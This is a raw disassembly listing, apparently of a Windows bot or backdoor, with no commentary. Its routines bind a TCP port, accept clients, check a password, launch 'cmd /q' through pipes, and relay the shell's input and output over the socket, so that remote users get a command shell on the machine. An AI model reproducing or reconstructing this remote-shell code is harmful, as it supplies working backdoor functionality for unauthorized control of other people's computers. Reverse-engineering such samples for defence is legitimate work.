		jnz	short loc_410957
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CB6A4	; send
		push	dword ptr [esi]
		call	dword_4CB6EC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B413
		pop	ecx
		push	edi
		call	ds:dword_4270CC	; ExitThread


loc_410957:				; CODE XREF: sub_4107C0+14Cj
					; sub_4107C0+16Dj
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Args]
		push	eax		; Args
		push	offset asc_434818 ; "-"
		call	sub_415221
		push	[ebp+arg_0]
		call	sub_410CD6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099E
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_4347EC ; "-"
		call	sub_415221
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 0Ch
		push	ebx
		call	ds:dword_4270CC	; ExitThread


loc_41099E:				; CODE XREF: sub_4107C0+1B9j
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Args]
		push	eax		; Args
		push	offset asc_4347C0 ; "-"
		call	sub_415221
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	edi
		call	ds:dword_4270CC	; ExitThread
sub_4107C0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C5	proc near		; CODE XREF: sub_4107C0+9Ap
					; sub_4107C0+A7p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C	; recv
		cmp	eax, 1
		jnz	short loc_410A15
		mov	esi, [ebp+arg_4]


loc_4109E3:				; CODE XREF: sub_4109C5+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A0A
		test	al, al
		jz	short loc_410A19
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C	; recv
		cmp	eax, 1
		jz	short loc_4109E3
		jmp	short loc_410A15
; ---------------------------------------------------------------------------


loc_410A0A:				; CODE XREF: sub_4109C5+27j
		push	offset asc_434880 ; "-"
		call	sub_415221
		pop	ecx


loc_410A15:				; CODE XREF: sub_4109C5+19j
					; sub_4109C5+43j
		xor	eax, eax
		jmp	short loc_410A1C
; ---------------------------------------------------------------------------


loc_410A19:				; CODE XREF: sub_4109C5+2Bj
		push	1
		pop	eax


loc_410A1C:				; CODE XREF: sub_4109C5+52j
		pop	esi
		leave
		retn
sub_4109C5	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_410A1F(char *Args,int,char *Str1)

sub_410A1F	proc near		; CODE XREF: sub_4107C0+163p

Args		= dword	ptr  4
arg_4		= dword	ptr  8
Str1		= dword	ptr  0Ch

		push	[esp+Args]	; Str2
		push	[esp+4+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A4A
		push	[esp+arg_4]
		push	[esp+4+Args]	; Args
		push	offset asc_4348AC ; "-"
		call	sub_415221
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410A4A:				; CODE XREF: sub_410A1F+11j
		push	1
		pop	eax
		retn
sub_410A1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410A4E	proc near		; DATA XREF: sub_401ACD+23D5o

var_5DC		= dword	ptr -5DCh
var_5A4		= byte ptr -5A4h
Source		= byte ptr -414h
var_214		= dword	ptr -214h
Str		= byte ptr -210h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= byte ptr -24h
Dst		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_214]
		push	1
		rep movsd
		pop	edi
		mov	[eax+1DCh], edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	202h
		call	dword_4CB5C4	; WSAStartup
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_410AA7
		push	eax		; Args
		push	offset asc_434A1C ; "-"
		call	sub_415221
		push	[ebp+var_4C]
		call	sub_40B413
		add	esp, 0Ch
		push	edi
		call	ds:dword_4270CC	; ExitThread


loc_410AA7:				; CODE XREF: sub_410A4E+3Aj
		push	edi
		push	offset loc_410CCC
		call	ds:dword_427120	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_410AE0
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_4349D8 ; "-"
		call	sub_415221
		pop	ecx
		pop	ecx
		call	dword_4CB5AC	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40B413
		pop	ecx
		push	edi
		call	ds:dword_4270CC	; ExitThread


loc_410AE0:				; CODE XREF: sub_410A4E+67j
		push	ebx
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_50]
		call	dword_4CB654	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], esi
		call	dword_4CB6D4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410C57
		mov	eax, [ebp+var_4C]
		push	10h
		imul	eax, 234h
		mov	dword_43E59C[eax], ebx
		lea	eax, [ebp+Dst]
		push	eax
		push	ebx
		call	dword_4CB680	; bind
		test	eax, eax
		jnz	loc_410C57
		push	7FFFFFFFh
		push	ebx
		call	dword_4CB67C	; listen
		test	eax, eax
		jnz	loc_410C57
		push	offset unk_43499C
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		call	sub_4151AD
		pop	ecx
		mov	[ebp+arg_0], edi


loc_410B6F:				; CODE XREF: sub_410A4E+15Aj
					; sub_410A4E+1E4j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		call	dword_4CB6E8	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_410C5A
		push	[ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	eax
		push	8
		push	0FFFFh
		push	edi
		call	dword_4CB634	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410B6F
		movzx	eax, [ebp+var_32]
		push	[ebp+var_4C]
		mov	[ebp+var_38], esi
		push	eax
		push	[ebp+var_30]
		call	dword_4CB6E0	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_434958 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	eax
		call	sub_4151AD
		push	edi		; int
		lea	eax, [ebp+Source]
		push	9		; int
		push	eax		; Source
		call	sub_40B0F7
		mov	[ebp+var_48], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_4C]
		add	esp, 24h
		mov	dword_43E594[eax], ecx
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_214]
		push	esi
		push	eax
		push	offset sub_4107C0
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_48]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43E5A4[ecx], eax
		jz	short loc_410C42


loc_410C2F:				; CODE XREF: sub_410A4E+1F2j
		cmp	[ebp+var_38], esi
		jnz	loc_410B6F
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_410C2F
; ---------------------------------------------------------------------------


loc_410C42:				; CODE XREF: sub_410A4E+1DFj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_43491C ; "-"
		call	sub_415221
		pop	ecx
		pop	ecx
		jmp	short loc_410C5A
; ---------------------------------------------------------------------------


loc_410C57:				; CODE XREF: sub_410A4E+C8j
					; sub_410A4E+ECj ...
		mov	edi, [ebp+arg_0]


loc_410C5A:				; CODE XREF: sub_410A4E+13Cj
					; sub_410A4E+207j
		call	dword_4CB5E8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_4348E4 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_3C], esi
		jnz	short loc_410C9A
		push	esi		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_40]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_214]	; int
		call	sub_409A73
		add	esp, 14h


loc_410C9A:				; CODE XREF: sub_410A4E+22Aj
		lea	eax, [ebp+Source]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC	; closesocket
		push	ebx
		call	dword_4CB6EC	; closesocket
		call	dword_4CB5AC	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40B413
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread
		pop	ebx


loc_410CCC:				; DATA XREF: sub_410A4E+5Ao
		xor	eax, eax
		cmp	[esp+5E0h+var_5DC], eax
		setz	al
		retn
sub_410A4E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD6	proc near		; CODE XREF: sub_4107C0+1AFp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E27
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E59C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, ds:dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D41
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_434A7C ; "-"
		call	sub_415221
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7B
; ---------------------------------------------------------------------------


loc_410D41:				; CODE XREF: sub_410CD6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AB
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D82
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_434A7C ; "-"
		call	sub_415221
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	ds:dword_4270AC	; TerminateThread


loc_410D7B:				; CODE XREF: sub_410CD6+69j
		xor	eax, eax
		jmp	loc_410E22
; ---------------------------------------------------------------------------


loc_410D82:				; CODE XREF: sub_410CD6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	ds:dword_427124	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_410DDC
		dec	eax
		jz	short loc_410DD6
		dec	eax
		jz	short loc_410DC2
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_434A48 ; "-"
		call	sub_415221
		pop	ecx
		pop	ecx
		jmp	short loc_410DF1
; ---------------------------------------------------------------------------


loc_410DC2:				; CODE XREF: sub_410CD6+D5j
		mov	edi, ds:dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_410DF1
; ---------------------------------------------------------------------------


loc_410DD6:				; CODE XREF: sub_410CD6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DE0
; ---------------------------------------------------------------------------


loc_410DDC:				; CODE XREF: sub_410CD6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_410DE0:				; CODE XREF: sub_410CD6+104j
		call	ds:dword_4270AC	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	ds:dword_4270F0	; TerminateProcess


loc_410DF1:				; CODE XREF: sub_410CD6+EAj
					; sub_410CD6+FEj
		push	dword ptr [esi+10h]
		mov	edi, ds:dword_427068
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	dword_4CB6EC	; closesocket
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax


loc_410E22:				; CODE XREF: sub_410CD6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E27	proc near		; CODE XREF: sub_410CD6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h		; Size
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	_malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F11
		mov	ebx, ds:dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx	; CreatePipe
		mov	edi, ds:dword_427068
		test	eax, eax
		jnz	short loc_410E8A
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434B2C
		jmp	short loc_410EAA
; ---------------------------------------------------------------------------


loc_410E8A:				; CODE XREF: sub_410E27+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx	; CreatePipe
		test	eax, eax
		jnz	short loc_410EB2
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_434AEC ; "-"


loc_410EAA:				; CODE XREF: sub_410E27+61j
		call	sub_415221
		pop	ecx
		jmp	short loc_410EE0
; ---------------------------------------------------------------------------


loc_410EB2:				; CODE XREF: sub_410E27+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F20
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F15
		push	offset unk_434AC4
		call	sub_4151AD


loc_410EE0:				; CODE XREF: sub_410E27+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEC
		push	[ebp+var_4]
		call	edi	; CloseHandle


loc_410EEC:				; CODE XREF: sub_410E27+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF7
		push	[ebp+var_8]
		call	edi	; CloseHandle


loc_410EF7:				; CODE XREF: sub_410E27+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410F00
		push	eax
		call	edi	; CloseHandle


loc_410F00:				; CODE XREF: sub_410E27+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F0A
		push	eax
		call	edi	; CloseHandle


loc_410F0A:				; CODE XREF: sub_410E27+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_410F11:				; CODE XREF: sub_410E27+1Dj
		xor	eax, eax
		jmp	short loc_410F1B
; ---------------------------------------------------------------------------


loc_410F15:				; CODE XREF: sub_410E27+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410F1B:				; CODE XREF: sub_410E27+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F20	proc near		; CODE XREF: sub_410E27+94p

Dst		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		mov	[ebp+var_4], esi
		call	_memset
		push	10h		; Size
		lea	eax, [ebp+var_14]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+Dst], edi
		mov	edi, ds:dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_4270F4	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	ds:dword_42706C	; CreateProcessA
		test	eax, eax
		jz	short loc_410FDC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E598[eax], ecx
		call	ds:dword_427068	; CloseHandle
		jmp	short loc_410FF2
; ---------------------------------------------------------------------------


loc_410FDC:				; CODE XREF: sub_410F20+9Aj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_434B6C ; "-"
		call	sub_415221
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_410FF2:				; CODE XREF: sub_410F20+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF9	proc near		; DATA XREF: sub_410CD6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, ds:dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411022:				; CODE XREF: sub_410FF9+8Fj
		call	ebx	; ReadFile
		test	eax, eax
		jz	short loc_41108A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105D


loc_411033:				; CODE XREF: sub_410FF9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104D
		cmp	dl, 0Dh
		jz	short loc_41104D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41104D:				; CODE XREF: sub_410FF9+44j
					; sub_410FF9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411033


loc_41105D:				; CODE XREF: sub_410FF9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB6A4	; send
		test	eax, eax
		jle	short loc_41108A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411022
; ---------------------------------------------------------------------------


loc_41108A:				; CODE XREF: sub_410FF9+2Dj
					; sub_410FF9+79j
		mov	esi, ds:dword_42708C
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_4110A6
		call	esi	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_434BAC ; "-"
		call	sub_415221
		pop	ecx
		pop	ecx


loc_4110A6:				; CODE XREF: sub_410FF9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AB	proc near		; DATA XREF: sub_410CD6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4110C4:				; CODE XREF: sub_4110AB+39j
					; sub_4110AB+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB66C	; recv
		test	eax, eax
		jle	loc_4111C9
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E6
		dec	[ebp+var_10]
		jmp	short loc_4110C4
; ---------------------------------------------------------------------------


loc_4110E6:				; CODE XREF: sub_4110AB+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A9
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411156
		cmp	al, 7Fh
		jz	short loc_411156
		cmp	al, 3
		jnz	short loc_411111
		push	ebx
		push	ebx
		call	ds:dword_427128	; GenerateConsoleCtrlEvent
		jmp	short loc_41117D
; ---------------------------------------------------------------------------


loc_411111:				; CODE XREF: sub_4110AB+5Aj
		cmp	al, 15h
		jnz	short loc_411133
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411169
; ---------------------------------------------------------------------------


loc_411133:				; CODE XREF: sub_4110AB+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_41116A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411169
; ---------------------------------------------------------------------------


loc_411156:				; CODE XREF: sub_4110AB+52j
					; sub_4110AB+56j
		cmp	esi, ebx
		jbe	short loc_411180
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411169:				; CODE XREF: sub_4110AB+86j
					; sub_4110AB+A9j
		pop	ecx


loc_41116A:				; CODE XREF: sub_4110AB+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB6A4	; send
		test	eax, eax
		jle	short loc_4111C9


loc_41117D:				; CODE XREF: sub_4110AB+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411180:				; CODE XREF: sub_4110AB+ADj
		cmp	al, 0Dh
		jnz	loc_4110C4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	ds:dword_4270E0	; WriteFile
		test	eax, eax
		jz	short loc_4111C9
		xor	esi, esi
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111A9:				; CODE XREF: sub_4110AB+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111BA
		mov	[ebp+var_C], 1
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111BA:				; CODE XREF: sub_4110AB+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111C9:				; CODE XREF: sub_4110AB+2Bj
					; sub_4110AB+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4111CE	proc near		; DATA XREF: sub_401ACD+2C08o

Source		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
Str		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
Dst		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_40]
		call	dword_4CB654	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_4CB6D4	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_43E59C[eax], edi
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	dword_4CB680	; bind
		test	eax, eax
		jnz	loc_411370
		push	0Ah
		push	edi
		call	dword_4CB67C	; listen
		test	eax, eax
		jnz	loc_411370
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_42BFB8 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_4112A9
		push	esi		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_34]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_D4]	; int
		call	sub_409A73
		add	esp, 14h


loc_4112A9:				; CODE XREF: sub_4111CE+B9j
					; sub_4111CE+172j ...
		lea	eax, [ebp+Source]
		push	eax
		call	sub_4151AD
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CB6E8	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_4CB6E0	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_434C58 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	19h		; int
		push	eax		; Source
		call	sub_40B0F7
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
